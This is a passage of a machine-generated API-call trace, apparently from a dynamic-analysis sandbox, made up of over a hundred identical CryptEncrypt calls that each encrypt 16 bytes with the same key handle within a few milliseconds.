CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.111] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.111] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.111] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.111] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.111] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.112] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.112] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.112] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.112] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.112] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.112] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.112] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.112] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.112] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.112] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.112] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.112] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.112] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.112] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.112] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.112] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.112] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.112] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.112] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.112] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.112] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.112] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.113] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.113] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.113] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.113] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.113] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.113] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.113] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.113] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.113] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.113] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.113] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.113] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.113] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.113] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.113] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.113] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.113] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.113] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.113] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.113] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.113] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.113] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.114] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.114] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.114] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.114] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.114] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.114] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.114] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.114] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.114] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.114] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.114] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.114] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.114] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.114] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.114] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.114] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.114] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.114] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.114] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.114] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.114] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.114] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.115] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.115] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.115] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.115] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.115] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.115] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.115] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.115] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.115] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.115] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.115] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.115] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.115] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.115] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.115] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.115] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.115] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.115] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.115] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.115] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.115] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.115] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.115] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.116] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.116] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.116] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.116] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.116] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.116] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.116] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.116] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.116] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.116] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.116] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.116] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.116] CryptEncrypt (in: 